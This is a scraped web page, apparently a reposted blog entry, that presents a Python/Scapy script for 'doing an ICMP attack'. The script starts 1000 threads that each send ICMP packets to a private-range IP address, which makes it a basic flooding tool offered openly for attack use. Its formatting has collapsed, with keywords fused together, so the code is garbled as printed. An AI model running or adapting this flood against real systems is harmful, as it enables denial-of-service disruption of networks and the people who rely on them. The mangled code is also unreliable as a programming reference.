Multithreading sends ICMP packets (Python version)

Source: Internet
Author: User

When doing an ICMP attack, the function that sends the packet is first written in Python.

The data packet is Scapy module which needs to be installed first: Apt-get install Python-scapy

" "Date:2014/12/3author:yssfunction:send packets from host to server with multithreading" "ImportThreading fromTimeImportSleep,ctime fromScapy.allImport*Num=1000#The number of the threadclassMyThread (Threading. Thread):def __init__(self,func,args,name="'): Threading. Thread.__init__(self) self.name=name Self.func=func Self.args=argsdefRun (self): Apply (Self.func,self.args)defsend_packet (): Send (IP (DST='192.168.85.132', ttl= (1,100))/icmp ())#Each thread send packetsdefMain ():Print 'starting at:', CTime () Threads=[]#Deposit Thresds    #Nloops=range (len (loops))     forIinchRange (num):#Create an instance of an objectT=mythread (Send_packet, (), Send_packet.__name__) threads.append (t) forIinchRange (num):#Start ThreadsThreads[i].start () forIinchRange (num):#wait for allThreads[i].join ()#Threads to finish    Print 'All do at :', CTime ()if __name__=='__main__': Main ()

Multithreading sends ICMP packets (Python version)

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.